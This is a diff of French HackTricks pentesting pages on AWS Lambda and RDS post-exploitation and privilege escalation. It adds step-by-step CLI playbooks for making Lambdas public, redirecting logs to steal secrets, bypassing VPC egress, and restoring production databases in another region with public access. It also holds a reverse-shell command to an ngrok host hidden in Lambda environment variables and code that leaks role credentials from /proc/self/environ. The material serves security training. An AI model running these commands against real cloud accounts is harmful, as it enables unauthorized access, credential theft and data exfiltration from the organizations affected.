+- Pré-requis : lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
+- Région : us-east-1
+
+### Steps
+1) S'assurer que la fonction possède une Function URL (par défaut AWS_IAM) :
+```
+aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
+```
+
+2) Basculer l'URL en public (AuthType NONE) :
+```
+aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
+```
+
+3) Ajouter une resource-based policy pour autoriser des principaux non authentifiés :
+```
+aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
+```
+
+4) Récupérer l'URL et invoquer sans identifiants :
+```
+URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
+curl -sS "$URL"
+```
+
+### Impact
+- La fonction Lambda devient accessible de manière anonyme sur Internet.
+
+### Example output (unauthenticated 200)
+```
+HTTP 200
+https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
+{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
+```
+### Nettoyage
+```
+aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
+aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md
new file mode 100644
index 000000000..0ffdf773c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md
@@ -0,0 +1,51 @@
+# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Exploiter les contrôles de logging avancés `lambda:UpdateFunctionConfiguration` pour rediriger les logs d'une fonction vers un CloudWatch Logs log group choisi par l'attaquant. Cela fonctionne sans modifier le code ni le rôle d'exécution (la plupart des rôles Lambda incluent déjà `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Si la fonction affiche des secrets/request bodies ou plante avec des stack traces, vous pouvez les récupérer depuis le nouveau log group.
+
+## Permissions requises
+- lambda:UpdateFunctionConfiguration
+- lambda:GetFunctionConfiguration
+- lambda:InvokeFunction (ou vous appuyer sur des triggers existants)
+- logs:CreateLogGroup (souvent non requis si le rôle de la fonction l'a déjà)
+- logs:FilterLogEvents (pour lire les événements)
+
+## Étapes
+1) Créer un log group de destination
+```
+aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
+```
+2) Rediriger les logs de la fonction cible
+```
+aws lambda update-function-configuration \
+--function-name \
+--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
+--region us-east-1
+```
+Attendez que `LastUpdateStatus` devienne `Successful` :
+```
+aws lambda get-function-configuration --function-name \
+--query LastUpdateStatus --output text
+```
+3) Invoquer et lire depuis le sink
+```
+aws lambda invoke --function-name /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
+sleep 5
+aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
+```
+## Impact
+- Rediriger furtivement tous les logs d'application/système vers un log group que vous contrôlez, contournant l'hypothèse que les logs n'atterrissent que dans `/aws/lambda/`.
+- Exfiltrer des données sensibles affichées par la fonction ou remontées dans les erreurs.
+
+## Nettoyage
+```
+aws lambda update-function-configuration --function-name \
+--logging-config LogGroup=/aws/lambda/,LogFormat=Text,ApplicationLogLevel=INFO \
+--region us-east-1 || true
+```
+## Remarques
+- Les paramètres de journalisation font partie du `LoggingConfig` de Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
+- Par défaut, Lambda envoie les logs vers `/aws/lambda/`, mais vous pouvez pointer vers n'importe quel LogGroup ; Lambda (ou le rôle d'exécution) le créera si cela est autorisé.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
new file mode 100644
index 000000000..ecc58b6a0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
@@ -0,0 +1,12 @@
+# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
+
+Abuser de `lambda:PutRuntimeManagementConfig` pour épingler une fonction à une version de runtime spécifique (Manual) ou geler les mises à jour (FunctionUpdate). Cela préserve la compatibilité avec des layers/wrappers malveillants et peut maintenir la fonction sur un runtime obsolète et vulnérable pour faciliter l'exploitation et la persistance à long terme.
+
+Pré-requis: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
+
+Exemple (us-east-1):
+- Invocation: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
+- Geler les mises à jour: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
+- Vérifier: `aws lambda get-runtime-management-config --function-name --region us-east-1`
+
+En option, épingler à une version de runtime spécifique en extrayant le Runtime Version ARN des logs INIT_START et en utilisant `--update-runtime-on Manual --runtime-version-arn `.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
new file mode 100644
index 000000000..f015ab1ab
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
@@ -0,0 +1,63 @@
+# AWS Lambda – contournement de l'egress VPC en détachant VpcConfig
+
+Forcer une fonction Lambda à sortir d'un VPC restreint en mettant à jour sa configuration avec un VpcConfig vide (SubnetIds=[], SecurityGroupIds=[]). La fonction s'exécutera alors dans le plan réseau géré par Lambda, retrouvant l'accès sortant à Internet et contournant les contrôles d'egress appliqués par des sous-réseaux VPC privés sans NAT.
+
+## Exploitation
+
+- Prérequis: lambda:UpdateFunctionConfiguration sur la fonction cible (et lambda:InvokeFunction pour valider), plus les permissions pour mettre à jour le code/handler si vous les modifiez.
+- Hypothèses: la fonction est actuellement configurée avec VpcConfig pointant vers des sous-réseaux privés sans NAT (donc l'accès sortant à Internet est bloqué).
+- Région: us-east-1
+
+### Steps
+
+0) Préparez un handler minimal qui prouve que les requêtes HTTP sortantes fonctionnent
+
+cat > net.py <<'PY'
+import urllib.request, json
+
+def lambda_handler(event, context):
+try:
+ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
+return {"egress": True, "ip": ip}
+except Exception as e:
+return {"egress": False, "err": str(e)}
+PY
+zip net.zip net.py
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
+aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
+
+1) Enregistrez la configuration VPC actuelle (pour la restaurer plus tard si nécessaire)
+
+aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
+cat /tmp/orig-vpc.json
+
+2) Détachez le VPC en définissant des listes vides
+
+aws lambda update-function-configuration \
+--function-name $TARGET_FN \
+--vpc-config SubnetIds=[],SecurityGroupIds=[] \
+--region $REGION
+until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+
+3) Invoquez et vérifiez l'accès sortant
+
+aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
+cat /tmp/net-out.json
+
+(Optional) Restore original VPC config
+
+if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
+SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
+aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
+fi
+
+### Impact
+- Récupère un accès Internet sortant non restreint depuis la fonction, permettant l'exfiltration de données ou du C2 depuis des workloads qui étaient intentionnellement isolés dans des sous-réseaux privés sans NAT.
+
+### Example output (after detaching VpcConfig)
+
+{"egress": true, "ip": "34.x.x.x"}
+
+### Cleanup
+- Si vous avez créé des modifications temporaires du code/handler, restaurez-les.
+- Facultativement, restaurez le VpcConfig original sauvegardé dans /tmp/orig-vpc.json comme indiqué ci-dessus.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 36cdba199..b30794c20 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
-Si l'attaquant a suffisamment de permissions, il pourrait rendre une **DB accessible publiquement** en créant un instantané de la DB, puis une DB accessible publiquement à partir de l'instantané.
+Si l'attaquant dispose de permissions suffisantes, il peut rendre une **DB accessible publiquement** en créant un snapshot de la DB, puis en créant une DB accessible publiquement à partir du snapshot.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -42,7 +42,7 @@ aws rds modify-db-instance \
Un attaquant avec ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
-Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait tout de même rendre **autres** snapshots créés **publics**.
+Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il peut quand même rendre **autres** snapshots créés **publiques**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier
@@ -53,15 +53,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier --
```
### `rds:DownloadDBLogFilePortion`
-Un attaquant avec la permission `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers journaux d'une instance RDS**. Si des données sensibles ou des informations d'identification d'accès sont accidentellement enregistrées, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
+Un attaquant disposant de l'autorisation `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers journaux d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés par erreur, l'attaquant pourrait potentiellement utiliser ces informations pour escalader ses privilèges ou effectuer des actions non autorisées.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
-**Impact potentiel** : Accès à des informations sensibles ou actions non autorisées en utilisant des identifiants compromis.
+**Impact potentiel**: Accès à des informations sensibles ou exécution d'actions non autorisées en utilisant leaked credentials.
### `rds:DeleteDBInstance`
-Un attaquant avec ces autorisations peut **DoS les instances RDS existantes**.
+Un attaquant disposant de ces permissions peut **DoS des instances RDS existantes**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -71,12 +71,96 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
### `rds:StartExportTask`
> [!NOTE]
-> TODO : Tester
+> TODO: Test
-Un attaquant disposant de cette autorisation peut **exporter un instantané d'instance RDS vers un bucket S3**. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.
+Un attaquant disposant de cette autorisation peut **exporter un snapshot d'une instance RDS vers un S3 bucket**. Si l'attaquant a le contrôle du S3 bucket de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
-**Impact potentiel** : Accès à des données sensibles dans l'instantané exporté.
+**Impact potentiel** : Accès aux données sensibles dans le snapshot exporté.
+
+### Réplication entre régions des sauvegardes automatisées pour une restauration furtive (`rds:StartDBInstanceAutomatedBackupsReplication`)
+
+Exploiter la réplication entre régions des sauvegardes automatisées pour dupliquer silencieusement les sauvegardes automatisées d'une instance RDS dans une autre AWS Region et y restaurer la base. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données hors-bande dans une région que les défenseurs pourraient ne pas surveiller.
+
+Permissions requises (minimum) :
+- `rds:StartDBInstanceAutomatedBackupsReplication` dans la région de destination
+- `rds:DescribeDBInstanceAutomatedBackups` dans la région de destination
+- `rds:RestoreDBInstanceToPointInTime` dans la région de destination
+- `rds:ModifyDBInstance` dans la région de destination
+- `rds:StopDBInstanceAutomatedBackupsReplication` (nettoyage optionnel)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (pour exposer la DB restaurée)
+
+Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre région et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
+
+
+CLI de bout en bout (remplacez les paramètres)
+```bash
+# 1) Recon (SOURCE region A)
+aws rds describe-db-instances \
+--region \
+--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
+--output table
+
+# 2) Start cross-Region automated backups replication (run in DEST region B)
+aws rds start-db-instance-automated-backups-replication \
+--region \
+--source-db-instance-arn \
+--source-region \
+--backup-retention-period 7
+
+# 3) Wait for replication to be ready in DEST
+aws rds describe-db-instance-automated-backups \
+--region \
+--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
+--output table
+# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
+
+# 4) Restore to latest restorable time in DEST
+aws rds restore-db-instance-to-point-in-time \
+--region \
+--source-db-instance-automated-backups-arn \
+--target-db-instance-identifier \
+--use-latest-restorable-time \
+--db-instance-class db.t3.micro
+aws rds wait db-instance-available --region --db-instance-identifier
+
+# 5) Make public and reset credentials in DEST
+# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
+OPEN_SG_ID=$(aws ec2 create-security-group --region \
+--group-name open-rds- --description open --vpc-id \
+--query GroupId --output text)
+aws ec2 authorize-security-group-ingress --region \
+--group-id "$OPEN_SG_ID" \
+--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
+
+# 5b) Publicly expose restored DB and attach the SG
+aws rds modify-db-instance --region \
+--db-instance-identifier \
+--publicly-accessible \
+--vpc-security-group-ids "$OPEN_SG_ID" \
+--apply-immediately
+aws rds wait db-instance-available --region --db-instance-identifier
+
+# 5c) Reset the master password
+aws rds modify-db-instance --region \
+--db-instance-identifier \
+--master-user-password '' \
+--apply-immediately
+aws rds wait db-instance-available --region --db-instance-identifier
+
+# 6) Connect to endpoint and validate data (example for MySQL)
+ENDPOINT=$(aws rds describe-db-instances --region \
+--db-instance-identifier \
+--query 'DBInstances[0].Endpoint.Address' --output text)
+mysql -h "$ENDPOINT" -u -p'' -e 'SHOW DATABASES;'
+
+# 7) Optional: stop replication
+aws rds stop-db-instance-automated-backups-replication \
+--region \
+--source-db-instance-arn
+```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 488ab53db..32ba6854c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -12,11 +12,11 @@ Plus d'infos sur lambda dans :
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
-Les utilisateurs avec les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:InvokeFunction`** peuvent élever leurs privilèges.\
-Ils peuvent **créer une nouvelle fonction Lambda et lui attribuer un rôle IAM existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et télécharger du code sur cette fonction Lambda (avec un rev shell par exemple)**.\
-Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la fonction Lambda via l'API AWS. Cette approche permet effectivement à l'utilisateur d'effectuer des tâches indirectement via la fonction Lambda, opérant avec le niveau d'accès accordé au rôle IAM qui lui est associé.\\
+Les utilisateurs disposant des permissions **`iam:PassRole`, `lambda:CreateFunction` et `lambda:InvokeFunction`** peuvent élever leurs privilèges.\
+Ils peuvent **créer une nouvelle Lambda function et lui attribuer un IAM role existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et uploader du code dans cette Lambda function (par exemple avec un rev shell)**.\
+Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la Lambda function via l'AWS API. Cette approche permet effectivement à l'utilisateur d'exécuter des tâches indirectement via la Lambda function, en opérant avec le niveau d'accès accordé à l'IAM role qui y est associé.\\
-Un attaquant pourrait en abuser pour obtenir un **rev shell et voler le token** :
+Un attaquant pourrait abuser de cela pour obtenir une **rev shell et voler le token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name
```
-Vous pourriez également **abuser des autorisations de rôle lambda** depuis la fonction lambda elle-même.\
-Si le rôle lambda avait suffisamment d'autorisations, vous pourriez l'utiliser pour vous accorder des droits d'administrateur :
+Vous pouvez également **abuse the lambda role permissions** depuis la lambda function elle-même.\
+Si le lambda role avait suffisamment de permissions, vous pourriez l'utiliser pour vous accorder des admin rights :
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
-Il est également possible de leak les identifiants de rôle de la lambda sans avoir besoin d'une connexion externe. Cela serait utile pour **Network isolated Lambdas** utilisées pour des tâches internes. S'il y a des groupes de sécurité inconnus filtrant vos reverse shells, ce morceau de code vous permettra de leak directement les identifiants en tant que sortie de la lambda.
+Il est aussi possible de leak les identifiants du rôle de la lambda sans nécessiter de connexion externe. Cela serait utile pour **Network isolated Lambdas** utilisées pour des tâches internes. Si des security groups inconnus filtrent vos reverse shells, ce morceau de code va vous permettre de leak directement les identifiants en sortie de la lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
aws lambda invoke --function-name output.txt
cat output.txt
```
-**Impact potentiel :** Privesc direct au rôle de service lambda arbitraire spécifié.
+**Impact potentiel :** Privesc direct vers le rôle de service lambda arbitraire spécifié.
> [!CAUTION]
-> Notez que même si cela peut sembler intéressant, **`lambda:InvokeAsync`** **ne** permet pas à lui seul d'**exécuter `aws lambda invoke-async`**, vous avez également besoin de `lambda:InvokeFunction`
+> Notez que même si cela peut sembler intéressant **`lambda:InvokeAsync`** **n'autorise pas** à lui seul **l'exécution de `aws lambda invoke-async`**, vous avez aussi besoin de `lambda:InvokeFunction`
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
-Comme dans le scénario précédent, vous pouvez **vous accorder la permission `lambda:InvokeFunction`** si vous avez la permission **`lambda:AddPermission`**
+Comme dans le scénario précédent, vous pouvez **vous accorder la permission `lambda:InvokeFunction`** si vous disposez de la permission **`lambda:AddPermission`**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
-**Impact potentiel :** Privesc direct au rôle de service lambda arbitraire spécifié.
+**Impact potentiel :** privesc direct vers le rôle de service lambda arbitraire spécifié.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
-Les utilisateurs avec les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:CreateEventSourceMapping`** (et potentiellement `dynamodb:PutItem` et `dynamodb:CreateTable`) peuvent indirectement **escalader les privilèges** même sans `lambda:InvokeFunction`.\
-Ils peuvent créer une **fonction Lambda avec du code malveillant et lui attribuer un rôle IAM existant**.
+Les utilisateurs disposant des permissions **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** (et potentiellement `dynamodb:PutItem` et `dynamodb:CreateTable`) peuvent indirectement **escalader les privilèges** même sans `lambda:InvokeFunction`.\
+Ils peuvent créer une **fonction Lambda contenant du code malveillant et lui attribuer un rôle IAM existant**.
-Au lieu d'invoquer directement la Lambda, l'utilisateur configure ou utilise une table DynamoDB existante, la liant à la Lambda via un mappage de source d'événement. Cette configuration garantit que la fonction Lambda est **déclenchée automatiquement lors de l'entrée d'un nouvel élément** dans la table, soit par l'action de l'utilisateur, soit par un autre processus, invoquant ainsi indirectement la fonction Lambda et exécutant le code avec les permissions du rôle IAM passé.
+Au lieu d'invoquer directement la Lambda, l'utilisateur configure ou utilise une table DynamoDB existante, la reliant à la Lambda via un event source mapping. Cette configuration garantit que la fonction Lambda est **déclenchée automatiquement lors de l'ajout d'un nouvel élément** dans la table, soit par l'action de l'utilisateur, soit par un autre processus, invoquant ainsi indirectement la fonction Lambda et exécutant le code avec les permissions du rôle IAM passé.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur doit seulement **établir le mappage de la source d'événements** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
+Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur **n'a qu'à établir l'event source mapping** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
-Maintenant, il est possible **de connecter la fonction Lambda à la table DynamoDB** en **créant un mappage de source d'événements** :
+Il est maintenant possible de **connecter la fonction Lambda à la table DynamoDB** en **créant un event source mapping** :
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn \
--enabled --starting-position LATEST
```
-Avec la fonction Lambda liée au flux DynamoDB, l'attaquant peut **déclencher indirectement la Lambda en activant le flux DynamoDB**. Cela peut être accompli en **insérant un élément** dans la table DynamoDB :
+Avec la fonction Lambda liée au DynamoDB stream, l'attaquant peut **déclencher indirectement la fonction Lambda en activant le DynamoDB stream**. Cela peut être accompli en **insérant un élément** dans la table DynamoDB :
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
-**Impact potentiel :** Privesc direct au rôle de service lambda spécifié.
+**Impact potentiel :** Privesc direct vers le rôle de service lambda spécifié.
### `lambda:AddPermission`
-Un attaquant avec cette permission peut **s'accorder (ou accorder à d'autres) toutes les permissions** (cela génère des politiques basées sur les ressources pour accorder l'accès à la ressource) :
+Un attaquant disposant de cette permission peut **s'octroyer (ou accorder à d'autres) n'importe quelles permissions** (cela génère des resource based policies pour accorder l'accès à la ressource) :
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn:
@@ -130,11 +130,11 @@ aws lambda add-permission --function-name --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name /tmp/outout
```
-**Impact potentiel :** Privesc direct au rôle de service lambda utilisé en accordant la permission de modifier le code et de l'exécuter.
+**Impact potentiel:** Privesc direct sur le lambda service role utilisé en accordant la permission de modifier le code et de l'exécuter.
### `lambda:AddLayerVersionPermission`
-Un attaquant avec cette permission peut **s'accorder (ou accorder à d'autres) la permission `lambda:GetLayerVersion`**. Il pourrait accéder à la couche et rechercher des vulnérabilités ou des informations sensibles.
+Un attaquant disposant de cette permission peut **s'accorder (ou accorder à d'autres) la permission `lambda:GetLayerVersion`**. Il pourrait accéder au layer et rechercher des vulnérabilités ou des informations sensibles.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
-Les utilisateurs détenant la permission **`lambda:UpdateFunctionCode`** ont le potentiel de **modifier le code d'une fonction Lambda existante qui est liée à un rôle IAM.**\
+Les utilisateurs disposant de la permission **`lambda:UpdateFunctionCode`** peuvent **modifier le code d'une fonction Lambda existante qui est liée à un rôle IAM.**\
L'attaquant peut **modifier le code de la lambda pour exfiltrer les identifiants IAM**.
-Bien que l'attaquant n'ait peut-être pas la capacité directe d'invoquer la fonction, si la fonction Lambda est préexistante et opérationnelle, il est probable qu'elle soit déclenchée par des workflows ou des événements existants, facilitant ainsi indirectement l'exécution du code modifié.
+Même si l'attaquant n'a pas nécessairement la capacité directe d'invoquer la fonction, si la fonction Lambda est préexistante et opérationnelle, il est probable qu'elle soit déclenchée par des workflows ou des événements existants, facilitant ainsi indirectement l'exécution du code modifié.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
-**Impact potentiel :** Privesc direct au rôle de service lambda utilisé.
+**Impact potentiel :** Escalade directe (privesc) vers le rôle de service Lambda utilisé.
### `lambda:UpdateFunctionConfiguration`
-#### RCE via variables d'environnement
+#### RCE via env variables
-Avec ces permissions, il est possible d'ajouter des variables d'environnement qui feront exécuter du code arbitraire par la Lambda. Par exemple, en python, il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour faire exécuter des commandes arbitraires par un processus python :
+Avec cette permission, il est possible d'ajouter des variables d'environnement qui feront exécuter du code arbitraire par la Lambda. Par exemple, en python il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour faire exécuter à un processus python des commandes arbitraires :
```bash
aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
-Pour d'autres langages de script, il existe d'autres variables d'environnement que vous pouvez utiliser. Pour plus d'informations, consultez les sous-sections des langages de script dans :
+Pour d'autres langages de script, il existe d'autres env variables que vous pouvez utiliser. Pour plus d'infos, consultez les sous-sections des langages de script dans:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
#### RCE via Lambda Layers
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure **du code** dans votre fonction lambda mais **de le stocker séparément**, de sorte que le code de la fonction puisse rester petit et que **plusieurs fonctions puissent partager du code**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure **code** dans votre fonction lambda mais **de le stocker séparément**, ainsi le code de la fonction peut rester petit et **plusieurs fonctions peuvent partager le code**.
-À l'intérieur de lambda, vous pouvez vérifier les chemins à partir desquels le code python est chargé avec une fonction comme suit :
+À l'intérieur de lambda, vous pouvez vérifier les chemins d'où le code python est chargé avec une fonction comme la suivante:
```python
import json
import sys
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
-Voici les emplacements :
+These are the places:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -202,49 +202,49 @@ Par exemple, la bibliothèque boto3 est chargée depuis `/var/runtime/boto3` (4
#### Exploitation
-Il est possible d'abuser de la permission `lambda:UpdateFunctionConfiguration` pour **ajouter une nouvelle couche** à une fonction lambda. Pour exécuter du code arbitraire, cette couche doit contenir une **bibliothèque que la lambda va importer.** Si vous pouvez lire le code de la lambda, vous pourriez le trouver facilement, notez également qu'il pourrait être possible que la lambda utilise **déjà une couche** et que vous puissiez **télécharger** la couche et **ajouter votre code** à l'intérieur.
